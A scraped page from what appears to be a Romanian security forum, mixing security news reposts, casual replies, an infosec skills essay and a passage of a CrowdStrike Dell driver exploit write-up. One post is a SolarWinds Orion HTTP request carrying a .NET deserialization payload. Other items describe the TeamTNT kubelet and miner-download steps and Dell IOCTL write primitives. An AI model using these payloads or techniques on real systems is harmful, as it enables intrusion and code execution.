Nytro

John McAfee dead: Antivirus tycoon found lifeless in prison after court OKs extradition UK-born wild man of infosec faced trial in America for tax evasion Iain Thomson in San Francisco Wed 23 Jun 2021 // 19:52 UTC John McAfee was found dead in his cell in a Barcelona prison on Wednesday, according to the Catalan justice department. Spain’s high court – the Audiencia Nacional – had just hours earlier agreed to his extradition to America to stand trial for alleged tax evasion. The 75-year-old, British-born former antivirus baron, who founded McAfee Associates in the late 1980s and made his millions before more or less retiring in the mid-1990s, was being held at a prison in Sant Esteve Sesrovires following his arrest at Barcelona airport in October 2020. Prosecutors are investigating his death, and believe at this stage it was suicide, Spanish newspaper El Pais reported. Officials confirmed to Reuters the infosec world's wild man had been discovered lifeless in his cell. This is a developing story. Stand by for updates Sursa: https://www.theregister.com/2021/06/23/john_mcafee_dead/

Da, te inteleg ca si eu am tot auzit de asta. O posibila problema ar fi supraincalzirea daca sunt prost facute dar cred ca toate se incing daca sunt putin forjate. Eu ti-as recomanda sa te iei dupa specificatii dar sa tii si cont la partea de racire sau chiar ce tastatura are (am avut probleme dupa 7 ani cu Asus Rog, dar sarmanul a indurat multe )

De ce as avea nevoie de telefon? Acum postez doar gandidu-ma la asta.

Am avut Toshiba acum 10 ani. Inca merge, se uita tata la filme pe el. Apoi am avut un ASUS RoG, inca merge dar nu il mai folosesc. Acum am un Lenovo care la fel, e impecabila. La munca cred ca am avut HP, Dell, MacBook si Lenovo. Nu prea am inteles aceste comparatii intre brand-uri deoarece eu nu am avut niciodata nicio problema cu vreun laptop.

Pe mine m-ar interesa mai mult parte de stabilitate decat de security. Windows 10 e ok din acest punct de vedere deci nu imi fac griji in privinta unei versiuni noi.

Sunt si vaccinat, am facut si un test PCR acum ceva timp si mai multe teste antigen (facute singur, acasa, inainte sa merg in diverse locuri). Nu am murit, dar banuiesc ca nu mai am mult de trait nu?

Da, iti dai seama ca e bine.

Frumos, vad ca aparent se foloseste sa trimiti bani, puteau da ceva mai bine.

Din cate stiam nu mai conteaza deloc diploma. Nu mai sunt la curent.

Salut, nu stiu daca ajuta la ceva. Daca ai nevoie de scutirea de impozit, e nevoie ca angajatorul sa indeplineasca niste conditii. Nu cred ca ajuta la angajare, acolo te vor intreba lucruri ca sa vada daca stii sa le faci practic, in functie de ce au ei nevoie.

Interesanta intamplarea, despre ce tip era vorba? Roman? Daca crashuieste ceva e un bug si uneori astfel de bug-uri pot fi exploatabile (desi sanse foarte mici). Daca faci rost de acel fisier sa ni-l dai si noua pe el. Nu ca as incepe sa ma uit eu pe el, dar il pot da unor persoane care au prezentat lucruri pe subiect la conferinte mari.

(Technical) Infosec Core Competencies June 9th, 2021 Every so often, I get asked how people can enter into information security, what they should study or what certifications they should pursue. I don't have a good answer to this question. Or rather, I don't have an easy answer to this question. I don't find much value in any specific certification program, and I know that everybody's path is different, so I'm hesitant to give any more specific advice but a broad recommendation to work with your organization's security team on practical projects to gain experience and an understanding of how the team functions. However, at the same time, there are a number of things that I regard as, well, a common body of knowledge in the field, a set of core competencies. They are, in no particular order, and with no claim to completeness: How to read a CVE announcement and assess the impact based on its CWE / CVSS score and description. Understand that CVSS scores are relative and impact in your environment may be different. How to read a hyped, name- and logo branded, corporation backed vulnerability announcement -- as well as the relevant RFCs and actual research paper, if any, instead of just the breathless webpage -- and distill the actual, realistic threat to your environment. The difference between a vulnerability, a threat, risk, an exploit, and attack surface; the likelihood of an exploit based on an adversary's motivation, goals, and capabilities; being able to ballpark the cost of defense within a given scope. The difference between authentication (authN) and authorization (authZ); between secrecy and authenticity; between authenticity and integrity. Be able to translate these concepts across different contexts. The difference between symmetric or private and asymmetric or public key cryptography; between encryption and hashing; between a key derivation function and an HMAC used for message authentication. You don't need to be cryptographer, but you should know roughly what the cryptographic right answers for your developers' questions are -- and why. The difference between encryption in transit and encryption at rest. Know to use TLS >= 1.2, but you don't need to know the details of all the ciphers and algorithms. But you should understand mTLS and client cert validation vs. server cert validation conceptually. Understand the x509 PKI concepts, trusted CA bundles, cert chains, and common client behavior. Know how to use 'openssl s_client' and 'openssl x509' to troubleshoot TLS connections, including STARTTLS. HTTP basics: be able to make manual HTTP requests via telnet(1) / openssl s_client; know enough HTTP headers and the general concepts of CSP; be able to use in-browser developer tools to troubleshoot, debug, and replay requests. Enough of the JavaScript and HTML DOM to understand the different XSS attack types conceptually. How to use curl(1) to post data to and pull information from an API; use jq(1) to manipulate JSON. Be able to use tcpdump(1) to at least get the gist of what's going on on the wire. I.e., protocol, type, port, TCP S/R/P/F/., sequence numbers, payload... Be able to use e.g., Wireshark to drill down into specific flows, filter and pick outliers out of the noise, debug TLS with logged pre-master secret. Be aware of the different ICMP types beyond echo request/reply: time exceeded, fragmentation required, destination unreachable... Be able to spot certain CIDRs. E.g., for IPv4: 127/8, 169.254/16, 224/4, 240/4, RFC1918; for IPv6: ::1, fc00::/7, fe80::/10, ff00::/8 Understand that RFC1918 does not imply the host cannot be reached from the internet; internalize that NAT is not a security control. How to send arbitrary packets between two hosts, e.g., via nc(1) or bash /dev/tcp. The difference between "Connection refused", "Connection timed out", and "Name or service not known/host not found". Be able to use dig(1), nslookup(1) and host(1) and understand why they don't care about what you put into /etc/hosts. Understand basic DNS resolution. I.e., lookups from client->stub resolver->resolver and resolvers<->auths. Understand domain registration, NS records, TTLs, and zone delegation. Grasp the difference in threat model between plain DNS, DoH, and DNSSEC. Understand cache poisoning as a concept and as applied to different protocols, such as ARP, DNS, HTTP Proxy, ... Have a general awareness of the physical internet, peering, ASNs, BGP hijacking, and how (and when) governments can (and do) censor or intercept/inspect (parts of) the internet for their jurisdiction. How to use ktrace(1) / strace(1) / dtrace(1) to figure out just what files or sockets a program is accessing. Be able to use nmap(1) to identify a host's open ports and fingerprint them. Be able to use SSH port forwarding, SSH pubkey options (from=, command= / ForceCommand), ProxyCommand, and use of SSH agents. Basic Unix skills, pipes and common tools: grep(1), sed(1), awk(1), sort(1), uniq(1), diff(1), comm(1), tr(1), ... Know how to use screen(1) / tmux(1) to keep long sessions uninterrupted, to resume if needed, to juggle multiple remote terminals in a single window. Really understand the Unix permissions model: owner, group, others; permissions on directories (e.g., 1777, 0711), Unix groups; su(1) and sudo(1); how setuid/setgid works. Understand TOCTOU attacks, mktemp(3), and umask(2). Be able to convert timestamps between formats and know to look for UTC offset when correlating log entries. Enough shell scripting to automate the execution of repeated commands, including flow control using loops, functions, and variable expansion. Enough Python, Perl, PHP, C, Go, Java, and JavaScript to be able to read all the random code you come across and at least make some sense of it. Enough C to understand how a buffer overflow works and how to spot one. (90% of the time a sprintf(3) of a user-generated string into a fixed-size buffer.) Enough SQL to be able to explain Little Bobby Tables and to pull records from multiple tables. Enough input- and shell meta-characters escaping to detect, abuse, and fix unsanitized system(3) / popen(3) command-injections (in the various languages). Be able to efficiently use your preferred packaged manager to identify file/package ownership, dependencies, package integrity. Be able to create a package in your commonly used package manager format (.deb, .rpm, ...) for a non-trivial piece of software to understand packaging, install scripts, signatures, validation etc. Enough AWS to be able to spin up an instance when needed. Grok the difference between NACLs and Security Groups. Be able to manage simple IAM resources and to inspect and lock down an S3 bucket. Enough Kerberos to understand the concept of client authentication versus service authorization and replay attacks. Enough PGP to be able to send/receive, encrypt/decrypt, and sign/verify encrypted and signed messages. Understand SMTP basics, email headers, etc. Know enough about SPF/DKIM/DMARC to identify those headers and understand what they are telling you. Shamir's 3 Laws of Cryptography: Absolutely secure systems do not exist To halve your vulnerability, you have to double your expenditure Cryptography is typically bypassed, not penetrated Schneier's Law (Any person can invent a security system so clever that she or he can't think of how to break it.) and not to attempt to invent your own cryptographic protocol. Be able to explain core concepts like Zero Trust, Defense in Depth, Least Privilege, Failing Closed, and Kerckhoff's Principle vs. Security by Obscurity. How containers are different from virtual machines, and what their respective trust- and control boundaries are. How to file an actionable, useful bug report. Know how to manage your own ticket queue. When to seek input from others: there's not just domain specific, but plenty of general security expertise outside of the information security team. Nothing, absolutely nothing about cryptocurrencies. "Crypto" means "cryptography". That's all you need to know. Now granted, the above list is shaped by my own personal background and experience, and you may do well without many of them, making up for gaps with experience and knowledge in areas that I lack. That's quite ok. You may also notice that a lot of this overlaps with a general understanding of... well, computering on the internet, with operations and system administration concepts. This is no coincidence. Good ops is good security. A fair bit of what I regard as essential in this field is covered in my video lectures; if you are interested, please do check them out and don't hesitate to hit me up with any follow-up questions you might have. Oh, and if you note the absence of all the "soft skills" here: well, those are harder. Perhaps another time... June 9th, 2021 Sursa: https://www.netmeister.org/blog/infosec-competencies.html

Right in the feelings

Audi, Volkswagen data breach affects 3.3 million customers By Lawrence Abrams June 12, 2021 12:27 PM Audi and Volkswagen have suffered a data breach affecting 3.3 million customers after a vendor exposed unsecured data on the Internet. Volkswagen Group of America, Inc. (VWGoA) is the North American subsidiary of the German Volkswagen Group. It is responsible for US and Canadian operations for Volkswagen, Audi, Bentley, Bugatti, Lamborghini, and VW Credit, Inc. According to data breach notifications filed with the California and Maine Attorney General's office, VWGoA disclosed that a vendor left unsecured data exposed on the Internet between August 2019 and May 2021. On March 20th, VWGoA was notified by the vendor that an unauthorized person had accessed the data and may have obtained the customer information for Audi, Volkswagen, and some authorized dealers. VWGoA states that the breach involved 3.3 million customers, with over 97% of those affected relating to Audi customers and interested buyers. The data exposed varies per customer but could range from contact information to more sensitive information such as social security numbers and loan numbers. "The data included some or all of the following contact information about you: first and last name, personal or business mailing address, email address, or phone number. In some instances, the data also included information about a vehicle purchased, leased, or inquired about, such as the Vehicle Identification Number (VIN), make, model, year, color, and trim packages," explains the VWGoA data breach notification first reported by TechCrunch. "The data also included more sensitive information relating to eligibility for a purchase, loan, or lease. More than 95% of the sensitive data included was driver’s license numbers. There were also a very small number of dates of birth, Social Security or social insurance numbers, account or loan numbers, and tax identification numbers." For those customers 90,000 customers who had more sensitive information exposed, Volkswagen is providing free credit protection and monitoring services, including $1 million of insurance against identity theft. VWGoA began notifying affected customers and prospective customers yesterday via mail and warn that customers should be on the lookout for suspicious emails, calls, or texts. What should Audi and Volkswagen customers do? As the Audi and Volkswagen data was unsecured for a long time, there is no telling how many people had gained unauthorized access. Therefore, all communications claiming to be from Audi or Volkswagen should be treated suspiciously, especially email or SMS text messages. For those who had more sensitive data exposed, you should freeze your credit report to make it harder for third parties to perform identity theft and take credit out under your name. Sursa: https://www.bleepingcomputer.com/news/security/audi-volkswagen-data-breach-affects-33-million-customers/

How Hackers Used Slack to Break into EA Games A representative for the hackers explained to Motherboard how the group stole a wealth of data from the game publishing giant. By Joseph Cox June 11, 2021, 4:10pm IMAGE: CHESNOT/GETTY IMAGES Hacking. Disinformation. Surveillance. CYBER is Motherboard's podcast and reporting on the dark underbelly of the internet. SEE MORE → The group of hackers who stole a wealth of data from game publishing giant Electronic Arts broke into the company in part by tricking an employee over Slack to provide a login token, Motherboard has learned. The group stole the source code for FIFA 21 and related matchmaking tools, as well as the source code for the Frostbite engine that powers games like Battlefield and other internal game development tools. In all, the hackers claim they have 780GB of data, and are advertising it for sale on various underground forums. EA previously confirmed the data impacted in the breach to Motherboard. A representative for the hackers told Motherboard in an online chat that the process started by purchasing stolen cookies being sold online for $10 and using those to gain access to a Slack channel used by EA. Cookies can save the login details of particular users, and potentially let hackers log into services as that person. In this case, the hackers were able to get into EA's Slack using the stolen cookie. (Although not necessarily connected, in February 2020 Motherboard reported that a group of researchers discovered an ex-engineer had left a list of the names of EA Slack channels in a public facing code repository). "Once inside the chat, we messaged a IT Support members we explain to them we lost our phone at a party last night," the representative said. Do you work at EA? Do you know anything else about this breach? We’d love to hear from you. Using a non-work phone or computer, you can contact Joseph Cox securely on Signal on +44 20 8133 5190, Wickr on josephcox, OTR chat on jfcox@jabber.ccc.de, or email joseph.cox@vice.com. The hackers then requested a multifactor authentication token from EA IT support to gain access to EA's corporate network. The representative said this was successful two times. Once inside EA's network, the hackers found a service for EA developers for compiling games. They successfully logged in and created a virtual machine giving them more visibility into the network, and then accessed one more service and downloaded game source code. The representative for the hackers provided screenshots to help corroborate the various steps of the hack, including the Slack chats themselves. EA then confirmed to Motherboard the contours of the description of the breach given by the hackers. In its earlier statement, EA said, "We are investigating a recent incident of intrusion into our network where a limited amount of game source code and related tools were stolen. No player data was accessed, and we have no reason to believe there is any risk to player privacy. Following the incident, we’ve already made security improvements and do not expect an impact on our games or our business. We are actively working with law enforcement officials and other experts as part of this ongoing criminal investigation." The representative of the hackers also provided Motherboard with a series of documents they say were stolen as part of the hack. They include an assortment of material on PlayStation VR, how EA creates digital crowds in the FIFA games, and documents about AI in games. Sony, which owns the PlayStation brand, did not respond to a request for comment. Sursa: https://www.vice.com/en/article/7kvkqb/how-ea-games-was-hacked-slack

ionut@kali:~$ sudo su [sudo] password for ionut: root@kali:/home/ionut# Got root! Ce fac acum? root@kali:/home/ionut# find / -name arhiva_de_scan root@kali:/home/ionut# find / -name hack_nasa.pl root@kali:/home/ionut# Nu pare sa mearga.

Electronic Arts (EA) a recunoscut joi că hackerii au furat codul sursă al unor titluri din catalogul său, dezvoltatorul american de jocuri video dând însă asigurări că atacul cibernetic nu va avea consecinţe asupra jucătorilor, informează vineri AFP. Compania EA, aflată la originea seriilor ''Battlefield'', ''Medal of Honor'' şi ''The Sims'', a confirmat că a fost victima piratajului informatic în urma publicării unui articol de către Vice Media în care se afirma că au fost furate mai multe coduri sursă, printre care cel al celebrului joc FIFA 21 şi al motorului Frostbite, utilizat la mai multe titluri EA. Un cod sursă este text scris într-un limbaj de programare care conţine instrucţiuni pentru executarea unui program informatic. "Investigăm un incident recent privind o intruziune în reţelele noastre de unde a fost furată o cantitate limitată de cod sursă şi de instrumente asociate", a declarat pentru AFP un purtător de cuvânt al EA. ''Nu au fost furate date despre jucători şi nu avem niciun motiv să credem că există vreun risc în ceea ce priveşte protecţia vieţii private a jucătorilor'', a dat asigurări purtătorul de cuvânt. ''Ca urmare a acestui incident, am realizat deja îmbunătăţiri la nivelul securităţii şi nu ne aşteptăm la un impact asupra jocurilor noastre sau a afacerii noastre'', a adăugat purtătorul de cuvânt al EA. EA a dat asigurări că ''în această anchetă penală în curs colaborează activ cu forţele de ordine şi cu alţi experţi''. Potrivit Vice, hackerii s-au lăudat cu atacul lor pe forumurile de internet clandestine. ''Acum aveţi capacitatea maximă de a exploata toate serviciile EA'', ar fi scris ei într-un mesaj publicat pe una dintre aceste platforme. Infractorii cibernetici au pus la vânzare datele furate pe diferite forumuri din spaţiul ''dark web'', versiunea ascunsă a internetului, a relatat Vice. Acest atac vine după un val de atacuri informatice care a avut loc în ultimele luni în Statele Unite şi care a vizat, printre altele, grupuri industriale, spitale, instituţii guvernamentale şi ONG-uri. De asemenea, atacul are loc cu câteva zile înaintea celebrului salon internaţional dedicat jocurilor video, Electronic Entertainment Expo (E3), la care urmează să participe şi EA. Evenimentul, care se va desfăşura exclusiv online anul acesta, în contextul pandemiei de COVID-19, debutează sâmbătă. AGERPRES/(AS - autor: Dana Purgaru, editor: Ana Alecu, editor online: Gabriela Badea) * Sursa foto: EA - Electronic Arts / Facebook.com Sursa: https://www.agerpres.ro/zig-zag/2021/06/11/codul-sursa-al-unor-jocuri-video-dezvoltate-de-ea-furat-de-infractori-cibernetici--729304

Super, imi place de Cristian, va recomand cartea lui - Fizica povestita, pe care o am si eu si peste care sper sa am timp sa ma uit cat mai curand. Edit: Nu stiu cu ce camere se filmeaza toate porcariile astea, ar trebui sa inchirieze niste camere de la fetele care fac videochat si nu ar mai exista dubii.

Exista OZN-uri (sau UFO), e destul de clar. Dar dupa cum zice si numele "Obiecte Zburatoare Neidentificate". Asta nu inseamna ca sunt navete spatiale cu omuleti verzi, de-a lungul timpului au fost tot felul de lucruri: baloane, avioane etc. S-a dus ocazia sa facem Naruto Run catre Area51. PS: Nu am vazut video-urile.

Nearly 50,000 IPs compromised in Kubernetes clusters by TeamTNT May 26, 2021 By Pierluigi Paganini Researchers discovered about 50,000 IPs across multiple Kubernetes clusters that were compromised by the TeamTNT.threat actors. Researchers from Trend Micro reported that about 50,000 IPs were compromised across multiple Kubernetes clusters in a cryptojacking campaign conducted by TeamTNT group. Kubernetes is an open-source container-orchestration system for automating computer application deployment, scaling, and management. It aims to provide a “platform for automating deployment, scaling, and operations of application containers across clusters of hosts” “We have found and confirmed close to 50,000 IPs compromised by this attack perpetrated by TeamTNT across multiple clusters. Several IPs were repeatedly exploited during the timeframe of the episode, occurring between March and May.” reads the analysis published by Trend Micro. “Most of the compromised nodes were from China and the US identified in the ISP (Internet Service Provider) list, which had Chinese and US-based providers as the highest hits, including some CSPs (Cloud Service Providers).” The TeamTNT botnet is a crypto-mining malware operation that has been active since April 2020 and that targets Docker installs. The activity of the TeamTNT group has been detailed by security firm Trend Micro, but in August experts from Cado Security discovered that that botnet is also able to target misconfigured Kubernetes installations. Upon infecting Docker and Kubernetes systems running on top of AWS servers, the bot scans for ~/.aws/credentials and ~/.aws/config that are the paths were the AWS CLI stores credentials and configuration details in an unencrypted file. The malware deploys the XMRig mining tool to mine Monero cryptocurrency. In January 2021, the cybercrime gang launched a new campaign targeting Kubernetes environments with the Hildegard malware. Now the group is still scanning for and compromising Kubernetes clusters online, many IPs were repeatedly exploited between March and May. Trend Micro researchers analyzed one of the scripts employed in the attacks against the Kubernetes clusters they collected from a server (kube[.]lateral[.]sh) used by the TeamTNT group. The script had a low detection rate in VirusTotal, that attack chain begins with the attempt to disable the bash history on the target host and define environment variables for its command-and-control server, including the script to install the crypto miner later and the binary of the XMRig Monero miner. The TeamTNT group also uses the script to install two free, open-source tools, the network scanning tool masscan and the deprecated banner-grabbing Zgrab. The group also installs an Internet Relay Chat bot written in C that is stored on the /tmp folder under the name kube.c, in the attempt to avoid suspicion. “In the last part of the script, we can see a function — kube_pwn() — being declared, just like in the image shown below. As seen from the code, the kube_pwn function uses Masscan to check any hosts with port 10250 open.” reads the analysis published by Trend Micro. The threat actors use the Masscan scanner to scan the internal network of the targeted Kubernetes cluster for unsecured or misconfigured Kubelet agents. The kubelet API port (10250) should not be exposed online but TeamTNT is compromising the kubelet after gaining access to the environment. “As we can see from the kubelet server.go code above, the API endpoint /runningpods does exactly what the endpoint says, it lists the running pods. First, the kube_pwn() function lists all the current running pods inside the node in a JSON format.” reads the analysis published by the experts. “Then, for each container running on each node, it takes advantage of the /run endpoint on the kubelet API to run the following commands: 1. Updates the package index of the container. 2. Installs the following packages: bash, wget and curl. 3. Downloads a shell script called setup_xmr.sh from the TeamTNT C&C server and saves it on the tmp folder. 4. Executes the script to start mining for the Monero cryptocurrency. The report also includes instructions to secure the Kube API Server. Follow me on Twitter: @securityaffairs and Facebook Pierluigi Paganini (SecurityAffairs – hacking, PLA Unit 61419) Sursa: https://securityaffairs.co/wordpress/118306/digital-id/kubernetes-clusters-teamtnt.html

A quick introduction to how binary integers work, what an integer overflow is, and how they can lead to software vulnerabilities.

POST /api/Action/TestAction HTTP/1.1 Host: <target> Content-Length: 3978 Accept: application/json, text/javascript, */*; q=0.01 X-XSRF-TOKEN: <token> X-Requested-With: XMLHttpRequest ViewLimitationID: 0 User-Agent: Mozilla/5.0 Content-Type: application/json; charset=UTF-8 Cookie: <cookie> Connection: close { "EnvironmentType": "Alerting", "ActionDefinition": { "$type": "SolarWinds.Orion.Core.Models.Actions.ActionDefinition, SolarWinds.Orion.Actions.Models", "ID": 124, "ActionTypeID": "Email", "Title": "Send alert email when path to google was changed", "Description": "Send alert email when path to google was changed", "Enabled": true, "Order": 1, "IconPath": null, "IsShared": false, "ActionProperties": [ { "$type": "SolarWinds.Orion.Core.Models.Actions.ActionProperty, SolarWinds.Orion.Actions.Models", "PropertyName": "EmailBCC", "PropertyValue": "${DefaultEmailBCC}", "IsShared": false } ], "TimePeriods": [], "TransitiveID": null }, "ActionContext": { "$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models", "ExecutionMode": 0, "EnviromentType": 0, "EntityType": "Orion.NetPath.ServiceAssignments", "EntityUri": "swis://EX-MB02./Orion/Orion.NetPath.ServiceAssignments/ProbeID=1,EndpointServiceID=1", "EntityUris": null, "IsGlobalAlert": false, "AlertContext": { "$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models", "AlertName": "Path to Google", "CreatedBy": null }, "AlertActiveId": null, "AlertObjectId": null, "NetObjectData": null, "ObjectDataExists": false, "MacroContext": { "$type": "SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1", "contexts": [ { "$type": "SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1", "EntityProperties": { "$type": "SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2", "a": { "$type": "System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "SessionToken": { "$type": "System.Byte[], mscorlib", "$value": "QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6ayARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdHdVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUdOaGJHTXVaWGhsSWlCVGRHRnVaR0Z5WkVWeWNtOXlSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJUZEdGdVpHRnlaRTkxZEhCMWRFVnVZMjlrYVc1blBTSjdlRHBPZFd4c2ZTSWdWWE5sY2s1aGJXVTlJaUlnVUdGemMzZHZjbVE5SW50NE9rNTFiR3g5SWlCRWIyMWhhVzQ5SWlJZ1RHOWhaRlZ6WlhKUWNtOW1hV3hsUFNKR1lXeHpaU0lnUm1sc1pVNWhiV1U5SW1OdFpDSWdMejROQ2lBZ0lDQWdJRHd2YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnUEM5elpEcFFjbTlqWlhOelBnMEtJQ0E4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1UFltcGxZM1JKYm5OMFlXNWpaVDROQ2p3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeVBncz0BAQEBAQ==" } } } } ] } } } Sursa: https://gist.github.com/testanull/dcb536b409a28d74430a441d53b14456

Know Your Enemy: Exploiting the Dell BIOS Driver Vulnerability to Defend Against It May 26, 2021 Connor McGarr Engineering & Tech There is a quote from Sun Tzu, “The Art of War,” that remains true to this day, especially in cybersecurity: “Know thy enemy and know yourself; in a hundred battles, you will never be defeated.” At CrowdStrike, we stop breaches — and understanding the tactics and techniques adversaries use helps us protect our clients from known and unknown threats. It allows us to pre-mitigate threats before they happen and react quickly to new and previously unknown attacks and attack vectors. Looking at the recently published vulnerability in Dell’s firmware update driver (CVE-2021-21551) reported by CrowdStrike’s Yarden Shafir and Satoshi Tanda, it’s worth understanding that adversaries have more than one way of weaponizing it to achieve the same result: obtaining full control of the victim’s machine. For example, while CVE-2021-21551 can be exploited to overwrite a process’s token and directly elevate its privileges, this is a relatively well-known technique that most endpoint detection and response (EDR) tools should detect. The technique we’re exploring in this research is already at the end of its lifecycle, with the inception of Windows features such as Virtualization-Based Security. However, it speaks to the fact that adversaries will constantly try to go a different path and use a more complex or different technique to achieve a full administrative access over a system, avoiding the most common EDR detections and preventions, as well as operating systems mitigations not available or enabled in some OS versions. To protect against adversaries that could exploit this vulnerability, we have to dive into the mindset of an attacker to understand how they would craft and exploit this vulnerable driver to take control of a vulnerable machine. While a patch for this vulnerability has been released, patch management cycles in enterprises can take months before all systems are updated. The goal of this post is to understand how adversaries think when weaponizing vulnerabilities, what technologies may work best in mitigating some of these tactics, and how CrowdStrike Falcon® protects against these attacks, leveraging the type of research embodied in this blog post. Exploitation Is a Never-ending Arms Race OS vendors patch vulnerable systems, and EDR vendors add detections and security mitigations as fast as possible. Meanwhile, attackers continuously find new bugs, vulnerabilities and novel exploitation techniques to take over targeted systems.Tactically mitigating the latest known driver is excellent, but that wins the battle, not the war. Adversaries can create exploits for vulnerabilities using several different methods, giving them a wide range of options for crafting payloads exploiting patched or unpatched vulnerabilities to compromise endpoints, take full control over them and ultimately breach enterprise security. A vulnerability presents a possibility, but there is still a long way to go for an attacker to turn it into a functional weapon. And every new security mitigation and hardening becomes another hurdle that the attacker needs to overcome, leading to increasingly complicated, multi-stage exploits. However, some things make exploitation slightly easier for attackers. Third-party drivers running on the machine, especially hardware drivers built to have direct access to all areas of the machine, may not always have a very high level of security awareness in their development process. Similar vulnerabilities were disclosed and used in the wild in recent years, and every few months a new vulnerable driver is discovered and published, making headlines. Building an Exploit for CVE-2021-21551 The quick synopsis of this vulnerability is that an IOCTL code exists that allows any user to write arbitrary data into an arbitrary address in kernel-mode memory. Any caller can trigger this IOCTL code by invoking DeviceIoControl to send a request to dbutil_2_3.sys while specifying the IOCTL code 0x9B0C1EC8 with a user-supplied buffer, allowing for an arbitrary write primitive. Additionally, specifying an IOCTL code of 0x9B0C1EC4 allows for an arbitrary read primitive. To allow user-mode callers to interact with kernel-mode drivers, drivers create device objects. We can see the creation and initialization of this device object in the driver’s entry point, named DriverEntry. This is just the “official” entry point, which immediately calls the “actual” driver entry: As shown, the \Device\DBUtil_2_3 string is used in the call to IoCreateDevice to create a DEVICE_OBJECT. This string is then used in a call to IoCreateSymbolicLink, which creates a symbolic link that is exposed to user-mode clients. In this case, the symbolic link is \\.\DBUtil_2_3. After identifying the symbolic link, CreateFile can be used to obtain a handle to dbutil_2_3.sys. DeviceIoControl can then be used to interact with the driver. The first step is to identify where the IOCTL routines are handled in the driver. We can discover that through the DriverEntry functions as well — handlers for all I/O operations are registered in the driver’s DRIVER_OBJECT, in the MajorFunction field. This is an array of IRP_MJ_XXX codes, each matching one I/O operation. Looking at this, we can see that this driver uses one function for all of its operations, and when we open the function, we can easily tell that it is mostly dedicated to handling IOCTL operations (named IRP_MJ_DEVICE_CONTROL in the driver object). The MajorFunction code is tested, and if it isn’t IRP_MJ_DEVICE_CONTROL , it is handled separately at the end of the function: The vulnerable IOCTL code in this case is 0x9B0C1EC8, for the write primitive. If this check is passed successfully, the handler will call the vulnerable function, which we chose to call ArbitraryWriteFunction for convenience: This is the function in which the vulnerable code resides in, which contains a call to memmove, whose arguments can be fully controlled by the caller: memmove copies a block of memory into another block of memory via pointers. If we can control the arguments to memmove, this gives us a vanilla arbitrary write primitive, as we will be able to overwrite any pointer in kernel mode with our own user-supplied buffer. Armed with the understanding of the write primitive, the last thing needed is to make sure that from the time the IOCTL code is checked and the final memmove call is invoked that any conditional statements that arise are successfully dealt with. This can be tested by sending an arbitrary QWORD to kernel mode to perform dynamic analysis. Setting a breakpoint on the routine that checks the IOCTL code and after running the POC, execution hits the target IOCTL routine. After the comparison is satisfied, execution hits the call to the function housing the call to memmove, prior to the stack frame for this function being created. The test buffer is also accessible when dereferencing the value in RCX. After stepping through the sub rsp, 0x40 stack allocation and the mov rbx, rcx instruction, the value 0x8 is then placed into ECX and used in the cmp ecx, 0x18 comparison. ECX, after the mov instruction, actually contains the size of the buffer, which is currently one QWORD, or 8 bytes. This compare statement will fail and an NTSTATUS code is returned back to the client of 0xC0000000D 